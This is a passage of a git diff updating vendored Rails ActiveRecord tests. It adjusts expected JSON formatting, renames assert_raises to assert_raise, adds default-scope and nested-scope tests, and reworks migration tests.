-    assert_match %r{"author_id": 1}, json
-    assert_match %r{"title": "Welcome to the weblog"}, json
-    assert_match %r{"body": "Such a lovely day"}, json
+    assert_match %r{"author_id":1}, json
+    assert_match %r{"title":"Welcome to the weblog"}, json
+    assert_match %r{"body":"Such a lovely day"}, json
 
-    assert_match %r{"title": "So I was thinking"}, json
-    assert_match %r{"body": "Like I hopefully always am"}, json
+    assert_match %r{"title":"So I was thinking"}, json
+    assert_match %r{"body":"Like I hopefully always am"}, json
   end
 
   def test_includes_uses_association_name_and_applies_attribute_filters
     json = @david.to_json(:include => { :posts => { :only => :title } })
 
-    assert_match %r{"name": "David"}, json
-    assert_match %r{"posts": \[}, json
+    assert_match %r{"name":"David"}, json
+    assert_match %r{"posts":\[}, json
 
-    assert_match %r{"title": "Welcome to the weblog"}, json
-    assert_no_match %r{"body": "Such a lovely day"}, json
+    assert_match %r{"title":"Welcome to the weblog"}, json
+    assert_no_match %r{"body":"Such a lovely day"}, json
 
-    assert_match %r{"title": "So I was thinking"}, json
-    assert_no_match %r{"body": "Like I hopefully always am"}, json
+    assert_match %r{"title":"So I was thinking"}, json
+    assert_no_match %r{"body":"Like I hopefully always am"}, json
   end
 
   def test_includes_fetches_second_level_associations
     json = @david.to_json(:include => { :posts => { :include => { :comments => { :only => :body } } } })
 
-    assert_match %r{"name": "David"}, json
-    assert_match %r{"posts": \[}, json
+    assert_match %r{"name":"David"}, json
+    assert_match %r{"posts":\[}, json
 
-    assert_match %r{"comments": \[}, json
-    assert_match %r{\{"body": "Thank you again for the welcome"\}}, json
-    assert_match %r{\{"body": "Don't think too hard"\}}, json
-    assert_no_match %r{"post_id": }, json
+    assert_match %r{"comments":\[}, json
+    assert_match %r{\{"body":"Thank you again for the welcome"\}}, json
+    assert_match %r{\{"body":"Don't think too hard"\}}, json
+    assert_no_match %r{"post_id":}, json
   end
 
   def test_includes_fetches_nth_level_associations
@@ -151,11 +151,11 @@ class DatabaseConnectedJsonEncodingTest < ActiveRecord::TestCase
         }
     })
 
-    assert_match %r{"name": "David"}, json
-    assert_match %r{"posts": \[}, json
+    assert_match %r{"name":"David"}, json
+    assert_match %r{"posts":\[}, json
 
-    assert_match %r{"taggings": \[}, json
-    assert_match %r{"tag": \{"name": "General"\}}, json
+    assert_match %r{"taggings":\[}, json
+    assert_match %r{"tag":\{"name":"General"\}}, json
   end
 
   def test_should_not_call_methods_on_associations_that_dont_respond
@@ -163,33 +163,33 @@ class DatabaseConnectedJsonEncodingTest < ActiveRecord::TestCase
     json = @david.to_json(:include => :posts, :methods => :favorite_quote)
 
     assert !@david.posts.first.respond_to?(:favorite_quote)
-    assert_match %r{"favorite_quote": "Constraints are liberating"}, json
-    assert_equal %r{"favorite_quote": }.match(json).size, 1
+    assert_match %r{"favorite_quote":"Constraints are liberating"}, json
+    assert_equal %r{"favorite_quote":}.match(json).size, 1
   end
 
   def test_should_allow_only_option_for_list_of_authors
     authors = [@david, @mary]
 
-    assert_equal %([{"name": "David"}, {"name": "Mary"}]), authors.to_json(:only => :name)
+    assert_equal %([{"name":"David"},{"name":"Mary"}]), ActiveSupport::JSON.encode(authors, :only => :name)
   end
 
   def test_should_allow_except_option_for_list_of_authors
     authors = [@david, @mary]
 
-    assert_equal %([{"id": 1}, {"id": 2}]), authors.to_json(:except => [:name, :author_address_id, :author_address_extra_id])
+    assert_equal %([{"id":1},{"id":2}]), ActiveSupport::JSON.encode(authors, :except => [:name, :author_address_id, :author_address_extra_id])
   end
 
   def test_should_allow_includes_for_list_of_authors
     authors = [@david, @mary]
-    json = authors.to_json(
+    json = ActiveSupport::JSON.encode(authors,
       :only => :name,
       :include => {
         :posts => { :only => :id }
       }
     )
 
-    ['"name": "David"', '"posts": [', '{"id": 1}', '{"id": 2}', '{"id": 4}',
-     '{"id": 5}', '{"id": 6}', '"name": "Mary"', '"posts": [{"id": 7}]'].each do |fragment|
+    ['"name":"David"', '"posts":[', '{"id":1}', '{"id":2}', '{"id":4}',
+     '{"id":5}', '{"id":6}', '"name":"Mary"', '"posts":[{"id":7}]'].each do |fragment|
       assert json.include?(fragment), json
      end
   end
@@ -200,6 +200,6 @@ class DatabaseConnectedJsonEncodingTest < ActiveRecord::TestCase
       2 => @mary
     }
 
-    assert_equal %({1: {"name": "David"}}), authors_hash.to_json(:only => [1, :name])
+    assert_equal %({"1":{"name":"David"}}), ActiveSupport::JSON.encode(authors_hash, :only => [1, :name])
   end
 end
diff --git a/vendor/rails/activerecord/test/cases/locking_test.rb b/vendor/rails/activerecord/test/cases/locking_test.rb
index 077cac77..8d2059d6 100644
--- a/vendor/rails/activerecord/test/cases/locking_test.rb
+++ b/vendor/rails/activerecord/test/cases/locking_test.rb
@@ -35,7 +35,7 @@ class OptimisticLockingTest < ActiveRecord::TestCase
     assert_equal 0, p2.lock_version
 
     p2.first_name = 'sue'
-    assert_raises(ActiveRecord::StaleObjectError) { p2.save! }
+    assert_raise(ActiveRecord::StaleObjectError) { p2.save! }
   end
 
   def test_lock_repeating
@@ -50,9 +50,9 @@ class OptimisticLockingTest < ActiveRecord::TestCase
     assert_equal 0, p2.lock_version
 
     p2.first_name = 'sue'
-    assert_raises(ActiveRecord::StaleObjectError) { p2.save! }
+    assert_raise(ActiveRecord::StaleObjectError) { p2.save! }
     p2.first_name = 'sue2'
-    assert_raises(ActiveRecord::StaleObjectError) { p2.save! }
+    assert_raise(ActiveRecord::StaleObjectError) { p2.save! }
   end
 
   def test_lock_new
@@ -71,7 +71,7 @@ class OptimisticLockingTest < ActiveRecord::TestCase
     assert_equal 0, p2.lock_version
 
     p2.first_name = 'sue'
-    assert_raises(ActiveRecord::StaleObjectError) { p2.save! }
+    assert_raise(ActiveRecord::StaleObjectError) { p2.save! }
   end
 
   def test_lock_new_with_nil
@@ -95,7 +95,7 @@ class OptimisticLockingTest < ActiveRecord::TestCase
     assert_equal 0, t2.version
 
     t2.tps_report_number = 800
-    assert_raises(ActiveRecord::StaleObjectError) { t2.save! }
+    assert_raise(ActiveRecord::StaleObjectError) { t2.save! }
   end
 
   def test_lock_column_is_mass_assignable
diff --git a/vendor/rails/activerecord/test/cases/method_scoping_test.rb b/vendor/rails/activerecord/test/cases/method_scoping_test.rb
index ff10bfaf..d8246f49 100644
--- a/vendor/rails/activerecord/test/cases/method_scoping_test.rb
+++ b/vendor/rails/activerecord/test/cases/method_scoping_test.rb
@@ -1,9 +1,9 @@
 require "cases/helper"
+require 'models/post'
 require 'models/author'
 require 'models/developer'
 require 'models/project'
 require 'models/comment'
-require 'models/post'
 require 'models/category'
 
 class MethodScopingTest < ActiveRecord::TestCase
@@ -27,6 +27,24 @@ class MethodScopingTest < ActiveRecord::TestCase
     end
   end
 
+  def test_scoped_find_last
+    highest_salary = Developer.find(:first, :order => "salary DESC")
+
+    Developer.with_scope(:find => { :order => "salary" }) do
+      assert_equal highest_salary, Developer.last
+    end
+  end
+
+  def test_scoped_find_last_preserves_scope
+    lowest_salary = Developer.find(:first, :order => "salary ASC")
+    highest_salary = Developer.find(:first, :order => "salary DESC")
+
+    Developer.with_scope(:find => { :order => "salary" }) do
+      assert_equal highest_salary, Developer.last
+      assert_equal lowest_salary, Developer.first
+    end
+  end
+
   def test_scoped_find_combines_conditions
     Developer.with_scope(:find => { :conditions => "salary = 9000" }) do
       assert_equal developers(:poor_jamis), Developer.find(:first, :conditions => "name = 'Jamis'")
@@ -168,6 +186,16 @@ class MethodScopingTest < ActiveRecord::TestCase
     assert_equal authors(:david).attributes, scoped_authors.first.attributes
   end
 
+  def test_scoped_find_strips_spaces_from_string_joins_and_eliminates_duplicate_string_joins
+    scoped_authors = Author.with_scope(:find => { :joins => ' INNER JOIN posts ON posts.author_id = authors.id '}) do
+      Author.find(:all, :select => 'DISTINCT authors.*', :joins => ['INNER JOIN posts ON posts.author_id = authors.id'], :conditions => 'posts.id = 1')
+    end
+    assert scoped_authors.include?(authors(:david))
+    assert !scoped_authors.include?(authors(:mary))
+    assert_equal 1, scoped_authors.size
+    assert_equal authors(:david).attributes, scoped_authors.first.attributes
+  end
+
   def test_scoped_count_include
     # with the include, will retrieve only developers for the given project
     Developer.with_scope(:find => { :include => :projects }) do
@@ -234,6 +262,15 @@ class NestedScopingTest < ActiveRecord::TestCase
     end
   end
 
+  def test_merge_inner_scope_has_priority
+    Developer.with_scope(:find => { :limit => 5 }) do
+      Developer.with_scope(:find => { :limit => 10 }) do
+        merged_option = Developer.instance_eval('current_scoped_methods')[:find]
+        assert_equal({ :limit => 10 }, merged_option)
+      end
+    end
+  end
+
   def test_replace_options
     Developer.with_scope(:find => { :conditions => "name = 'David'" }) do
       Developer.with_exclusive_scope(:find => { :conditions => "name = 'Jamis'" }) do
@@ -341,8 +378,10 @@ class NestedScopingTest < ActiveRecord::TestCase
   def test_merged_scoped_find
     poor_jamis = developers(:poor_jamis)
     Developer.with_scope(:find => { :conditions => "salary < 100000" }) do
-      Developer.with_scope(:find => { :offset => 1 }) do
-        assert_equal(poor_jamis, Developer.find(:first, :order => 'id asc'))
+      Developer.with_scope(:find => { :offset => 1, :order => 'id asc' }) do
+        assert_sql /ORDER BY id asc / do
+          assert_equal(poor_jamis, Developer.find(:first, :order => 'id asc'))
+        end
       end
     end
   end
@@ -372,6 +411,29 @@ class NestedScopingTest < ActiveRecord::TestCase
     end
   end
 
+  def test_nested_scoped_create
+    comment = nil
+    Comment.with_scope(:create => { :post_id => 1}) do
+      Comment.with_scope(:create => { :post_id => 2}) do
+        assert_equal({ :post_id => 2 }, Comment.send(:current_scoped_methods)[:create])
+        comment = Comment.create :body => "Hey guys, nested scopes are broken. Please fix!"
+      end
+    end
+    assert_equal 2, comment.post_id
+  end
+
+  def test_nested_exclusive_scope_for_create
+    comment = nil
+    Comment.with_scope(:create => { :body => "Hey guys, nested scopes are broken. Please fix!" }) do
+      Comment.with_exclusive_scope(:create => { :post_id => 1 }) do
+        assert_equal({ :post_id => 1 }, Comment.send(:current_scoped_methods)[:create])
+        comment = Comment.create :body => "Hey guys"
+      end
+    end
+    assert_equal 1, comment.post_id
+    assert_equal 'Hey guys', comment.body
+  end
+
   def test_merged_scoped_find_on_blank_conditions
     [nil, " ", [], {}].each do |blank|
       Developer.with_scope(:find => {:conditions => blank}) do
@@ -495,7 +557,6 @@ class HasManyScopingTest< ActiveRecord::TestCase
   end
 end
 
-
 class HasAndBelongsToManyScopingTest< ActiveRecord::TestCase
   fixtures :posts, :categories, :categories_posts
 
@@ -521,11 +582,86 @@ class HasAndBelongsToManyScopingTest< ActiveRecord::TestCase
   end
 end
 
+class DefaultScopingTest < ActiveRecord::TestCase
+  fixtures :developers
+
+  def test_default_scope
+    expected = Developer.find(:all, :order => 'salary DESC').collect { |dev| dev.salary }
+    received = DeveloperOrderedBySalary.find(:all).collect { |dev| dev.salary }
+    assert_equal expected, received
+  end
+
+  def test_default_scope_with_conditions_string
+    assert_equal Developer.find_all_by_name('David').map(&:id).sort, DeveloperCalledDavid.all.map(&:id).sort
+    assert_equal nil, DeveloperCalledDavid.create!.name
+  end
+
+  def test_default_scope_with_conditions_hash
+    assert_equal Developer.find_all_by_name('Jamis').map(&:id).sort, DeveloperCalledJamis.all.map(&:id).sort
+    assert_equal 'Jamis', DeveloperCalledJamis.create!.name
+  end
+
+  def test_default_scoping_with_threads
+    scope = [{ :create => {}, :find => { :order => 'salary DESC' } }]
+
+    2.times do
+      Thread.new { assert_equal scope, DeveloperOrderedBySalary.send(:scoped_methods) }.join
+    end
+  end
+
+  def test_default_scoping_with_inheritance
+    scope = [{ :create => {}, :find => { :order => 'salary DESC' } }]
+
+    # Inherit a class having a default scope and define a new default scope
+    klass = Class.new(DeveloperOrderedBySalary)
+    klass.send :default_scope, {}
+
+    # Scopes added on children should append to parent scope
+    expected_klass_scope = [{ :create => {}, :find => { :order => 'salary DESC' }}, { :create => {}, :find => {} }]
+    assert_equal expected_klass_scope, klass.send(:scoped_methods)
+
+    # Parent should still have the original scope
+    assert_equal scope, DeveloperOrderedBySalary.send(:scoped_methods)
+  end
+
+  def test_method_scope
+    expected = Developer.find(:all, :order => 'name DESC').collect { |dev| dev.salary }
+    received = DeveloperOrderedBySalary.all_ordered_by_name.collect { |dev| dev.salary }
+    assert_equal expected, received
+  end
+
+  def test_nested_scope
+    expected = Developer.find(:all, :order => 'name DESC').collect { |dev| dev.salary }
+    received = DeveloperOrderedBySalary.with_scope(:find => { :order => 'name DESC'}) do
+      DeveloperOrderedBySalary.find(:all).collect { |dev| dev.salary }
+    end
+    assert_equal expected, received
+  end
+
+  def test_named_scope_overwrites_default
+    expected = Developer.find(:all, :order => 'name DESC').collect { |dev| dev.name }
+    received = DeveloperOrderedBySalary.by_name.find(:all).collect { |dev| dev.name }
+    assert_equal expected, received
+  end
+
+  def test_nested_exclusive_scope
+    expected = Developer.find(:all, :limit => 100).collect { |dev| dev.salary }
+    received = DeveloperOrderedBySalary.with_exclusive_scope(:find => { :limit => 100 }) do
+      DeveloperOrderedBySalary.find(:all).collect { |dev| dev.salary }
+    end
+    assert_equal expected, received
+  end
+
+  def test_overwriting_default_scope
+    expected = Developer.find(:all, :order => 'salary').collect { |dev| dev.salary }
+    received = DeveloperOrderedBySalary.find(:all, :order => 'salary').collect { |dev| dev.salary }
+    assert_equal expected, received
+  end
+end
 
 =begin
 # We disabled the scoping for has_one and belongs_to as we can't think of a proper use case
 
-
 class BelongsToScopingTest< ActiveRecord::TestCase
   fixtures :comments, :posts
 
@@ -545,7 +681,6 @@ class BelongsToScopingTest< ActiveRecord::TestCase
 
 end
 
-
 class HasOneScopingTest< ActiveRecord::TestCase
   fixtures :comments, :posts
 
diff --git a/vendor/rails/activerecord/test/cases/migration_test.rb b/vendor/rails/activerecord/test/cases/migration_test.rb
index 2ec3d403..3b6326db 100644
--- a/vendor/rails/activerecord/test/cases/migration_test.rb
+++ b/vendor/rails/activerecord/test/cases/migration_test.rb
@@ -25,6 +25,24 @@ if ActiveRecord::Base.connection.supports_migrations?
     end
   end
 
+  class MigrationTableAndIndexTest < ActiveRecord::TestCase
+    def test_add_schema_info_respects_prefix_and_suffix
+      conn = ActiveRecord::Base.connection
+
+      conn.drop_table(ActiveRecord::Migrator.schema_migrations_table_name) if conn.table_exists?(ActiveRecord::Migrator.schema_migrations_table_name)
+      ActiveRecord::Base.table_name_prefix = 'foo_'
+      ActiveRecord::Base.table_name_suffix = '_bar'
+      conn.drop_table(ActiveRecord::Migrator.schema_migrations_table_name) if conn.table_exists?(ActiveRecord::Migrator.schema_migrations_table_name)
+
+      conn.initialize_schema_migrations_table
+
+      assert_equal "foo_unique_schema_migrations_bar", conn.indexes(ActiveRecord::Migrator.schema_migrations_table_name)[0][:name]
+    ensure
+      ActiveRecord::Base.table_name_prefix = ""
+      ActiveRecord::Base.table_name_suffix = ""
+    end
+  end
+
   class MigrationTest < ActiveRecord::TestCase
     self.use_transactional_fixtures = false
 
@@ -93,6 +111,30 @@ if ActiveRecord::Base.connection.supports_migrations?
       end
     end
 
+    def testing_table_with_only_foo_attribute
+      Person.connection.create_table :testings, :id => false do |t|
+        t.column :foo, :string
+      end
+
+      yield Person.connection
+    ensure
+      Person.connection.drop_table :testings rescue nil
+    end
+    protected :testing_table_with_only_foo_attribute
+
+    def test_create_table_without_id
+      testing_table_with_only_foo_attribute do |connection|
+        assert_equal connection.columns(:testings).size, 1
+      end
+    end
+
+    def test_add_column_with_primary_key_attribute
+      testing_table_with_only_foo_attribute do |connection|
+        assert_nothing_raised { connection.add_column :testings, :id, :primary_key }
+        assert_equal connection.columns(:testings).size, 2
+      end
+    end
+
     def test_create_table_adds_id
       Person.connection.create_table :testings do |t|
         t.column :foo, :string
@@ -111,7 +153,7 @@ if ActiveRecord::Base.connection.supports_migrations?
         end
       end
 
-      assert_raises(ActiveRecord::StatementInvalid) do
+      assert_raise(ActiveRecord::StatementInvalid) do
         Person.connection.execute "insert into testings (foo) values (NULL)"
       end
     ensure
@@ -200,7 +242,7 @@ if ActiveRecord::Base.connection.supports_migrations?
           t.column :foo, :string
       end
 
-      assert_equal %w(foo testings_id), Person.connection.columns(:testings).map { |c| c.name }.sort
+      assert_equal %w(foo testing_id), Person.connection.columns(:testings).map { |c| c.name }.sort
     ensure
       Person.connection.drop_table :testings rescue nil
       ActiveRecord::Base.primary_key_prefix_type = nil
@@ -213,28 +255,26 @@ if ActiveRecord::Base.connection.supports_migrations?
           t.column :foo, :string
       end
 
-      assert_equal %w(foo testingsid), Person.connection.columns(:testings).map { |c| c.name }.sort
+      assert_equal %w(foo testingid), Person.connection.columns(:testings).map { |c| c.name }.sort
     ensure
       Person.connection.drop_table :testings rescue nil
       ActiveRecord::Base.primary_key_prefix_type = nil
     end
 
-    uses_mocha('test_create_table_with_force_true_does_not_drop_nonexisting_table') do
-      def test_create_table_with_force_true_does_not_drop_nonexisting_table
-        if Person.connection.table_exists?(:testings2)
-          Person.connection.drop_table :testings2
-        end
-
-        # using a copy as we need the drop_table method to
-        # continue to work for the ensure block of the test
-        temp_conn = Person.connection.dup
-        temp_conn.expects(:drop_table).never
-        temp_conn.create_table :testings2, :force => true do |t|
-          t.column :foo, :string
-        end
-      ensure
-        Person.connection.drop_table :testings2 rescue nil
+    def test_create_table_with_force_true_does_not_drop_nonexisting_table
+      if Person.connection.table_exists?(:testings2)
+        Person.connection.drop_table :testings2
       end
+
+      # using a copy as we need the drop_table method to
+      # continue to work for the ensure block of the test
+      temp_conn = Person.connection.dup
+      temp_conn.expects(:drop_table).never
+      temp_conn.create_table :testings2, :force => true do |t|
+        t.column :foo, :string
+      end
+    ensure
+      Person.connection.drop_table :testings2 rescue nil
     end
 
     def test_create_table_with_timestamps_should_create_datetime_columns
@@ -280,7 +320,7 @@ if ActiveRecord::Base.connection.supports_migrations?
         end
         Person.connection.add_column :testings, :bar, :string, :null => false
 
-        assert_raises(ActiveRecord::StatementInvalid) do
+        assert_raise(ActiveRecord::StatementInvalid) do
           Person.connection.execute "insert into testings (foo, bar) values ('hello', NULL)"
         end
       ensure
@@ -299,7 +339,7 @@ if ActiveRecord::Base.connection.supports_migrations?
       Person.connection.enable_identity_insert("testings", false) if current_adapter?(:SybaseAdapter)
       assert_nothing_raised {Person.connection.add_column :testings, :bar, :string, :null => false, :default => "default" }
 
-      assert_raises(ActiveRecord::StatementInvalid) do
+      assert_raise(ActiveRecord::StatementInvalid) do
         unless current_adapter?(:OpenBaseAdapter)
           Person.connection.execute "insert into testings (#{con.quote_column_name('id')}, #{con.quote_column_name('foo')}, #{con.quote_column_name('bar')}) values (2, 'hello', NULL)"
         else
@@ -367,7 +407,7 @@ if ActiveRecord::Base.connection.supports_migrations?
       assert_equal 9, wealth_column.precision
       assert_equal 7, wealth_column.scale
     end
-    
+
     def test_native_types
       Person.delete_all
       Person.connection.add_column "people", "last_name", :string
@@ -547,7 +587,7 @@ if ActiveRecord::Base.connection.supports_migrations?
       else
         ActiveRecord::ActiveRecordError
       end
-      assert_raises(exception) do
+      assert_raise(exception) do
         Person.connection.rename_column "hats", "nonexistent", "should_fail"
       end
     ensure
@@ -797,7 +837,7 @@ if ActiveRecord::Base.connection.supports_migrations?
       assert_equal "hello world", Reminder.find(:first).content
 
       WeNeedReminders.down
-      assert_raises(ActiveRecord::StatementInvalid) { Reminder.find(:first) }
+      assert_raise(ActiveRecord::StatementInvalid) { Reminder.find(:first) }
     end
 
     def test_add_table_with_decimals
@@ -858,7 +898,7 @@ if ActiveRecord::Base.connection.supports_migrations?
       end
 
       GiveMeBigNumbers.down
-      assert_raises(ActiveRecord::StatementInvalid) { BigNumber.find(:first) }
+      assert_raise(ActiveRecord::StatementInvalid) { BigNumber.find(:first) }
     end
 
     def test_migrator
@@ -878,7 +918,7 @@ if ActiveRecord::Base.connection.supports_migrations?
       assert_equal 0, ActiveRecord::Migrator.current_version
       Person.reset_column_information
       assert !Person.column_methods_hash.include?(:last_name)
-      assert_raises(ActiveRecord::StatementInvalid) { Reminder.find(:first) }
+      assert_raise(ActiveRecord::StatementInvalid) { Reminder.find(:first) }
     end
 
     def test_migrator_one_up
@@ -899,9 +939,9 @@ if ActiveRecord::Base.connection.supports_migrations?
 
     def test_migrator_one_down
       ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/valid")
-    
+
       ActiveRecord::Migrator.down(MIGRATIONS_ROOT + "/valid", 1)
-    
+
       Person.reset_column_information
       assert Person.column_methods_hash.include?(:last_name)
       assert !Reminder.table_exists?
@@ -930,11 +970,11 @@ if ActiveRecord::Base.connection.supports_migrations?
       assert_equal(0, ActiveRecord::Migrator.current_version)
     end
 
-    if current_adapter?(:PostgreSQLAdapter)
+    if ActiveRecord::Base.connection.supports_ddl_transactions?
       def test_migrator_one_up_with_exception_and_rollback
         assert !Person.column_methods_hash.include?(:last_name)
 
-        e = assert_raises(StandardError) do
+        e = assert_raise(StandardError) do
           ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/broken", 100)
         end
 
@@ -947,20 +987,20 @@ if ActiveRecord::Base.connection.supports_migrations?
 
     def test_finds_migrations
       migrations = ActiveRecord::Migrator.new(:up, MIGRATIONS_ROOT + "/valid").migrations
-      [['1', 'people_have_last_names'],
-       ['2', 'we_need_reminders'],
-       ['3', 'innocent_jointable']].each_with_index do |pair, i|
-        migrations[i].version == pair.first
-        migrations[1].name    == pair.last
+
+      [[1, 'PeopleHaveLastNames'], [2, 'WeNeedReminders'], [3, 'InnocentJointable']].each_with_index do |pair, i|
+        assert_equal migrations[i].version, pair.first
+        assert_equal migrations[i].name, pair.last
       end
     end
 
     def test_finds_pending_migrations
       ActiveRecord::Migrator.up(MIGRATIONS_ROOT + "/interleaved/pass_2", 1)
       migrations = ActiveRecord::Migrator.new(:up, MIGRATIONS_ROOT + "/interleaved/pass_2").pending_migrations
+
       assert_equal 1, migrations.size
-      migrations[0].version == '3'
-      migrations[0].name    == 'innocent_jointable'
+      assert_equal migrations[0].version, 3
+      assert_equal migrations[0].name, 'InnocentJointable'
     end
 
     def test_only_loads_pending_migrations
@@ -1037,20 +1077,20 @@ if ActiveRecord::Base.connection.supports_migrations?
       assert Reminder.create("content" => "hello world", "remind_at" => Time.now)
       assert_equal "hello world", Reminder.find(:first).content
     end
-    
+
     def test_migrator_rollback
       ActiveRecord::Migrator.migrate(MIGRATIONS_ROOT + "/valid")
       assert_equal(3, ActiveRecord::Migrator.current_version)
-      
+
       ActiveRecord::Migrator.rollback(MIGRATIONS_ROOT + "/valid")
       assert_equal(2, ActiveRecord::Migrator.current_version)
-      
+
       ActiveRecord::Migrator.rollback(MIGRATIONS_ROOT + "/valid")
       assert_equal(1, ActiveRecord::Migrator.current_version)
-      
+
       ActiveRecord::Migrator.rollback(MIGRATIONS_ROOT + "/valid")
       assert_equal(0, ActiveRecord::Migrator.current_version)
-      
+
       ActiveRecord::Migrator.rollback(MIGRATIONS_ROOT + "/valid")
       assert_equal(0, ActiveRecord::Migrator.current_version)
     end
@@ -1109,7 +1149,7 @@ if ActiveRecord::Base.connection.supports_migrations?
       assert_equal "hello world", Reminder.find(:first).content
 
       WeNeedReminders.down
-      assert_raises(ActiveRecord::StatementInvalid) { Reminder.find(:first) }
+      assert_raise(ActiveRecord::StatementInvalid) { Reminder.find(:first) }
     ensure
       ActiveRecord::Base.table_name_prefix = ''
       ActiveRecord::Base.table_name_suffix = ''
@@ -1139,13 +1179,13 @@ if ActiveRecord::Base.connection.supports_migrations?
     end
 
     def test_migrator_with_duplicates
-      assert_raises(ActiveRecord::DuplicateMigrationVersionError) do
+      assert_raise(ActiveRecord::DuplicateMigrationVersionError) do
         ActiveRecord::Migrator.migrate(MIGRATIONS_ROOT + "/duplicate", nil)
       end
     end
 
     def test_migrator_with_duplicate_names
-      assert_raises(ActiveRecord::DuplicateMigrationNameError, "Multiple migrations have the name Chunky") do
+      assert_raise(ActiveRecord::DuplicateMigrationNameError, "Multiple migrations have the name Chunky") do
         ActiveRecord::Migrator.migrate(MIGRATIONS_ROOT + "/duplicate_names", nil)
       end
     end
@@ -1161,7 +1201,7 @@ if ActiveRecord::Base.connection.supports_migrations?
 
       # table name is 29 chars, the standard sequence name will
       # be 33 chars and fail
-      assert_raises(ActiveRecord::StatementInvalid) do
+      assert_raise(ActiveRecord::StatementInvalid) do
         begin
           Person.connection.create_table :table_with_name_thats_just_ok do |t|
             t.column :foo, :string, :null => false
@@ -1188,7 +1228,7 @@ if ActiveRecord::Base.connection.supports_migrations?
       end
 
       # confirm the custom sequence got dropped
-      assert_raises(ActiveRecord::StatementInvalid) do
+      assert_raise(ActiveRecord::StatementInvalid) do
         Person.connection.execute("select suitably_short_seq.nextval from dual")
       end
     end
@@ -1202,278 +1242,282 @@ if ActiveRecord::Base.connection.supports_migrations?
       end
 
   end
-  
-  uses_mocha 'Sexy migration tests' do
-    class SexyMigrationsTest < ActiveRecord::TestCase
-      def test_references_column_type_adds_id
+
+  class SexyMigrationsTest < ActiveRecord::TestCase
+    def test_references_column_type_adds_id
+      with_new_table do |t|
+        t.expects(:column).with('customer_id', :integer, {})
+        t.references :customer
+      end
+    end
+
+    def test_references_column_type_with_polymorphic_adds_type
+      with_new_table do |t|
+        t.expects(:column).with('taggable_type', :string, {})
+        t.expects(:column).with('taggable_id', :integer, {})
+        t.references :taggable, :polymorphic => true
+      end
+    end
+
+    def test_references_column_type_with_polymorphic_and_options_null_is_false_adds_table_flag
+      with_new_table do |t|
+        t.expects(:column).with('taggable_type', :string, {:null => false})
+        t.expects(:column).with('taggable_id', :integer, {:null => false})
+        t.references :taggable, :polymorphic => true, :null => false
+      end
+    end
+
+    def test_belongs_to_works_like_references
+      with_new_table do |t|
+        t.expects(:column).with('customer_id', :integer, {})
+        t.belongs_to :customer
+      end
+    end
+
+    def test_timestamps_creates_updated_at_and_created_at
+      with_new_table do |t|
+        t.expects(:column).with(:created_at, :datetime, kind_of(Hash))
+        t.expects(:column).with(:updated_at, :datetime, kind_of(Hash))
+        t.timestamps
+      end
+    end
+
+    def test_integer_creates_integer_column
+      with_new_table do |t|
+        t.expects(:column).with(:foo, 'integer', {})
+        t.expects(:column).with(:bar, 'integer', {})
+        t.integer :foo, :bar
+      end
+    end
+
+    def test_string_creates_string_column
+      with_new_table do |t|
+        t.expects(:column).with(:foo, 'string', {})
+        t.expects(:column).with(:bar, 'string', {})
+        t.string :foo, :bar
+      end
+    end
+
+    if current_adapter?(:PostgreSQLAdapter)
+      def test_xml_creates_xml_column
         with_new_table do |t|
-          t.expects(:column).with('customer_id', :integer, {})
-          t.references :customer
+          t.expects(:column).with(:data, 'xml', {})
+          t.xml :data
         end
       end
+    end
 
-      def test_references_column_type_with_polymorphic_adds_type
-        with_new_table do |t|
-          t.expects(:column).with('taggable_type', :string, {})
-          t.expects(:column).with('taggable_id', :integer, {})
-          t.references :taggable, :polymorphic => true
-        end
+    protected
+    def with_new_table
+      Person.connection.create_table :delete_me, :force => true do |t|
+        yield t
       end
+    ensure
+      Person.connection.drop_table :delete_me rescue nil
+    end
 
-      def test_references_column_type_with_polymorphic_and_options_null_is_false_adds_table_flag
-        with_new_table do |t|
-          t.expects(:column).with('taggable_type', :string, {:null => false})
-          t.expects(:column).with('taggable_id', :integer, {:null => false})
-          t.references :taggable, :polymorphic => true, :null => false
-        end
+  end # SexyMigrationsTest
+
+  class ChangeTableMigrationsTest < ActiveRecord::TestCase
+    def setup
+      @connection = Person.connection
+      @connection.create_table :delete_me, :force => true do |t|
       end
+    end
 
-      def test_belongs_to_works_like_references
-        with_new_table do |t|
-          t.expects(:column).with('customer_id', :integer, {})
-          t.belongs_to :customer
-        end
+    def teardown
+      Person.connection.drop_table :delete_me rescue nil
+    end
+
+    def test_references_column_type_adds_id
+      with_change_table do |t|
+        @connection.expects(:add_column).with(:delete_me, 'customer_id', :integer, {})
+        t.references :customer
       end
+    end
 
-      def test_timestamps_creates_updated_at_and_created_at
-        with_new_table do |t|
-          t.expects(:column).with(:created_at, :datetime, kind_of(Hash))
-          t.expects(:column).with(:updated_at, :datetime, kind_of(Hash))
-          t.timestamps
-        end
+    def test_remove_references_column_type_removes_id
+      with_change_table do |t|
+        @connection.expects(:remove_column).with(:delete_me, 'customer_id')
+        t.remove_references :customer
       end
+    end
 
-      def test_integer_creates_integer_column
-        with_new_table do |t|
-          t.expects(:column).with(:foo, 'integer', {})
-          t.expects(:column).with(:bar, 'integer', {})
-          t.integer :foo, :bar
-        end
+    def test_add_belongs_to_works_like_add_references
+      with_change_table do |t|
+        @connection.expects(:add_column).with(:delete_me, 'customer_id', :integer, {})
+        t.belongs_to :customer
       end
+    end
 
-      def test_string_creates_string_column
-        with_new_table do |t|
-          t.expects(:column).with(:foo, 'string', {})
-          t.expects(:column).with(:bar, 'string', {})
-          t.string :foo, :bar
-        end
+    def test_remove_belongs_to_works_like_remove_references
+      with_change_table do |t|
+        @connection.expects(:remove_column).with(:delete_me, 'customer_id')
+        t.remove_belongs_to :customer
       end
+    end
 
-      protected
-      def with_new_table
-        Person.connection.create_table :delete_me, :force => true do |t|
-          yield t
-        end
-      ensure
-        Person.connection.drop_table :delete_me rescue nil
+    def test_references_column_type_with_polymorphic_adds_type
+      with_change_table do |t|
+        @connection.expects(:add_column).with(:delete_me, 'taggable_type', :string, {})
+        @connection.expects(:add_column).with(:delete_me, 'taggable_id', :integer, {})
+        t.references :taggable, :polymorphic => true
       end
+    end
 
-    end # SexyMigrationsTest
-  end # uses_mocha
-
-  uses_mocha 'ChangeTable migration tests' do
-    class ChangeTableMigrationsTest < ActiveRecord::TestCase
-      def setup
-        @connection = Person.connection
-        @connection.create_table :delete_me, :force => true do |t|
-        end
+    def test_remove_references_column_type_with_polymorphic_removes_type
+      with_change_table do |t|
